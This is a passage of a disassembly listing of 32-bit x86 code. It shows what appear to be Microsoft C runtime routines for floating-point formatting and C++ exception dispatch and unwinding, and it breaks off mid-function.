loc_41D717:				; CODE XREF: sub_41D6A0+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41D762
		add	esp, 0Ch
		jmp	short loc_41D736
; ---------------------------------------------------------------------------


loc_41D726:				; CODE XREF: sub_41D6A0+63j
					; sub_41D6A0+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41D73B
		add	esp, 10h


loc_41D736:				; CODE XREF: sub_41D6A0+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D6A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D73B	proc near		; CODE XREF: sub_41D6A0+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4D8764, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41D4BE
		and	byte_4D8764, 0
		add	esp, 10h
		retn
sub_41D73B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D762	proc near		; CODE XREF: sub_41D6A0+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4D8764, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41D5C2
		and	byte_4D8764, 0
		add	esp, 0Ch
		retn
sub_41D762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D785	proc near		; CODE XREF: sub_41B184+3AAp
					; DATA XREF: sub_418C60o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41D7C0
		cmp	[ebp+arg_8], 45h
		jz	short loc_41D7C0
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41D7AD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D5C2
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D785+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D6A0
		jmp	short loc_41D7D1
; ---------------------------------------------------------------------------


loc_41D7C0:				; CODE XREF: sub_41D785+7j
					; sub_41D785+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D4BE


loc_41D7D1:				; CODE XREF: sub_41D785+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41D785	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7D6	proc near		; CODE XREF: sub_41D4BE+2Cp
					; sub_41D5C2+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41D7F9
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_419190
		add	esp, 10h
		pop	esi


loc_41D7F9:				; CODE XREF: sub_41D7D6+7j
		pop	edi
		retn
sub_41D7D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7FB	proc near		; CODE XREF: .nsp0:00418E40p
					; sub_418EA9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41D811
		call	sub_41E0A2


loc_41D811:				; CODE XREF: sub_41D7FB+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41D839
		cmp	dword ptr [esi+4], 0
		jz	short loc_41D88F
		cmp	[ebp+arg_14], 0
		jnz	short loc_41D88F
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41DB42
		add	esp, 10h
		jmp	short loc_41D88F
; ---------------------------------------------------------------------------


loc_41D839:				; CODE XREF: sub_41D7FB+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41D88F
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D873
		cmp	[eax+14h], edi
		jbe	short loc_41D873
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41D873
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41D892
; ---------------------------------------------------------------------------


loc_41D873:				; CODE XREF: sub_41D7FB+4Aj
					; sub_41D7FB+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D896
		add	esp, 20h


loc_41D88F:				; CODE XREF: sub_41D7FB+23j
					; sub_41D7FB+29j ...
		push	1
		pop	eax


loc_41D892:				; CODE XREF: sub_41D7FB+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41D7FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D896	proc near		; CODE XREF: sub_41D7FB+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41D8B6
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41D8BB


loc_41D8B6:				; CODE XREF: sub_41D896+16j
		call	sub_41E0A2


loc_41D8BB:				; CODE XREF: sub_41D896+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41D92F
		cmp	[esi+14h], edi
		jnz	short loc_41D92F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41D92F
		mov	esi, dword_4D8770
		test	esi, esi
		jz	loc_41DA0D
		mov	eax, dword_4D8774
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_420250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41D911
		call	sub_41E0A2


loc_41D911:				; CODE XREF: sub_41D896+74j
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41D92F
		cmp	[esi+14h], edi
		jnz	short loc_41D92F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41D92F
		call	sub_41E0A2


loc_41D92F:				; CODE XREF: sub_41D896+41j
					; sub_41D896+46j ...
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41DA12
		cmp	[esi+14h], edi
		jnz	loc_41DA12
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418FF7
		add	esp, 14h
		mov	ebx, eax


loc_41D966:				; CODE XREF: sub_41D896+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41D9FD
		cmp	[ebx], edi
		jg	short loc_41D9F2
		cmp	edi, [ebx+4]
		jg	short loc_41D9F2
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41D9EF


loc_41D98B:				; CODE XREF: sub_41D896+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41D9BC


loc_41D99D:				; CODE XREF: sub_41D896+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41DAE5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9CB
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41D99D


loc_41D9BC:				; CODE XREF: sub_41D896+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41D98B
		jmp	short loc_41D9EF
; ---------------------------------------------------------------------------


loc_41D9CB:				; CODE XREF: sub_41D896+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41DBF6
		add	esp, 2Ch


loc_41D9EF:				; CODE XREF: sub_41D896+F3j
					; sub_41D896+133j
		mov	edi, [ebp+var_10]


loc_41D9F2:				; CODE XREF: sub_41D896+DEj
					; sub_41D896+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41D966
; ---------------------------------------------------------------------------


loc_41D9FD:				; CODE XREF: sub_41D896+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41DA0D
		push	1
		push	esi
		call	sub_41DF6B
		pop	ecx
		pop	ecx


loc_41DA0D:				; CODE XREF: sub_41D896+56j
					; sub_41D896+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DA12:				; CODE XREF: sub_41D896+37j
					; sub_41D896+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41DA38
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41DA3D
		add	esp, 20h
		jmp	short loc_41DA0D
; ---------------------------------------------------------------------------


loc_41DA38:				; CODE XREF: sub_41D896+180j
		jmp	sub_41E04C
sub_41D896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA3D	proc near		; CODE XREF: sub_41D896+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4D8778, 0
		push	esi
		push	edi
		jz	short loc_41DA6E
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418ECE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41DAE1


loc_41DA6E:				; CODE XREF: sub_41DA3D+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418FF7
		add	esp, 14h
		mov	esi, eax


loc_41DA8A:				; CODE XREF: sub_41DA3D+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41DAE1
		cmp	edi, [esi]
		jl	short loc_41DAD9
		cmp	edi, [esi+4]
		jg	short loc_41DAD9
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41DAB3
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41DAD9


loc_41DAB3:				; CODE XREF: sub_41DA3D+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41DBF6
		add	esp, 2Ch


loc_41DAD9:				; CODE XREF: sub_41DA3D+57j
					; sub_41DA3D+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41DA8A
; ---------------------------------------------------------------------------


loc_41DAE1:				; CODE XREF: sub_41DA3D+2Fj
					; sub_41DA3D+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41DA3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAE5	proc near		; CODE XREF: sub_41D896+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41DB3C
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41DB3C
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41DB16
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DB38


loc_41DB16:				; CODE XREF: sub_41DAE5+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41DB20
		test	byte ptr [edi],	8
		jz	short loc_41DB38


loc_41DB20:				; CODE XREF: sub_41DAE5+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41DB2F
		test	byte ptr [edi],	1
		jz	short loc_41DB38


loc_41DB2F:				; CODE XREF: sub_41DAE5+43j
		test	al, 2
		jz	short loc_41DB3C
		test	byte ptr [edi],	2
		jnz	short loc_41DB3C


loc_41DB38:				; CODE XREF: sub_41DAE5+2Fj
					; sub_41DAE5+39j ...
		xor	eax, eax
		jmp	short loc_41DB3F
; ---------------------------------------------------------------------------


loc_41DB3C:				; CODE XREF: sub_41DAE5+Bj
					; sub_41DAE5+14j ...
		push	1
		pop	eax


loc_41DB3F:				; CODE XREF: sub_41DAE5+55j
		pop	edi
		pop	esi
		retn
sub_41DAE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB42	proc near		; CODE XREF: sub_41D7FB+34p
					; sub_41DBF6+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423888
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41DB74:				; CODE XREF: sub_41DB42+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41DBCE
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41DB83
		cmp	esi, [edi+4]
		jl	short loc_41DB88


loc_41DB83:				; CODE XREF: sub_41DB42+3Aj
		call	sub_41E0A2


loc_41DB88:				; CODE XREF: sub_41DB42+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41DBA3
		push	103h
		push	ebx
		push	eax
		call	sub_41E000


loc_41DBA3:				; CODE XREF: sub_41DB42+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DBC3
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41DBE0
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41DBC3:				; CODE XREF: sub_41DB42+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41DB74
; ---------------------------------------------------------------------------


loc_41DBCE:				; CODE XREF: sub_41DB42+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE0	proc near		; CODE XREF: sub_41DB42+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41DBF1
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DBF1:				; CODE XREF: sub_41DBE0+Cj
		jmp	sub_41E04C
sub_41DBE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBF6	proc near		; CODE XREF: sub_41D896+151p
					; sub_41DA3D+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41DC18
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41DDA7
		add	esp, 10h


loc_41DC18:				; CODE XREF: sub_41DBF6+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41DC24
		push	edi
		jmp	short loc_41DC27
; ---------------------------------------------------------------------------


loc_41DC24:				; CODE XREF: sub_41DBF6+29j
		push	[ebp+arg_24]


loc_41DC27:				; CODE XREF: sub_41DBF6+2Cj
		call	sub_418DD0
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41DB42
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41DC71
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41DC6C
		push	edi
		push	eax
		call	sub_418D8E


loc_41DC6C:				; CODE XREF: sub_41DBF6+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DBF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC71	proc near		; CODE XREF: sub_41DBF6+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423898
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4D8770
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4D8774
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4D8770, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4D8774, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_418E55
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DD37
		mov	eax, [ebp+var_2C]


loc_41DCFE:				; CODE XREF: sub_41DD17+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DC71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD0D	proc near		; DATA XREF: .nsp0:004238A8o
		push	dword ptr [ebp-14h]
		call	sub_41DD7D
		pop	ecx
		retn
sub_41DD0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD17	proc near		; DATA XREF: .nsp0:004238ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4190B6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41DCFE
sub_41DD17	endp

; ---------------------------------------------------------------------------


loc_41DD2F:				; DATA XREF: .nsp0:004238A0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41DD37	proc near		; CODE XREF: sub_41DC71+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4D8770, eax
		mov	eax, [ebp-20h]
		mov	dword_4D8774, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41DD7C
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41DD7C
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41DD7C
		cmp	[ebp-24h], ebx
		jnz	short locret_41DD7C
		cmp	[ebp-2Ch], ebx
		jz	short locret_41DD7C
		call	sub_41911E
		push	eax
		push	edi
		call	sub_41DF6B
		pop	ecx
		pop	ecx

locret_41DD7C:				; CODE XREF: sub_41DD37+1Cj
					; sub_41DD37+22j ...
		retn
sub_41DD37	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD7D	proc near		; CODE XREF: sub_41DD0D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41DDA4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DDA4:				; CODE XREF: sub_41DD7D+Cj
					; sub_41DD7D+12j ...
		xor	eax, eax
		retn
sub_41DD7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDA7	proc near		; CODE XREF: sub_41DBF6+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238B0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41DF50
		cmp	byte ptr [eax+8], 0
		jz	loc_41DF50
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41DF50
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41DE44
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41DE35:				; CODE XREF: sub_41DDA7+F5j
		push	eax
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DE44:				; CODE XREF: sub_41DDA7+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41DE9E
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_419190
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41DF4C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41DF4C
		add	esi, 8
		push	esi
		jmp	short loc_41DE35
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41DDA7+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41DEE6
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_419190
		add	esp, 0Ch
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DEE6:				; CODE XREF: sub_41DDA7+103j
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	dword ptr [esi+18h]
		call	sub_420288
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		test	byte ptr [esi],	4
		jz	short loc_41DF2D
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_418DC9
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DF2D:				; CODE XREF: sub_41DDA7+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_418DC2
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41DDA7+6Aj
					; sub_41DDA7+7Cj ...
		call	sub_41E0A2


loc_41DF4C:				; CODE XREF: sub_41DDA7+98j
					; sub_41DDA7+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41DF50:				; CODE XREF: sub_41DDA7+2Ej
					; sub_41DDA7+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDA7	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41E04C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF6B	proc near		; CODE XREF: sub_41D896+170p
					; sub_41DD37+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238C0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
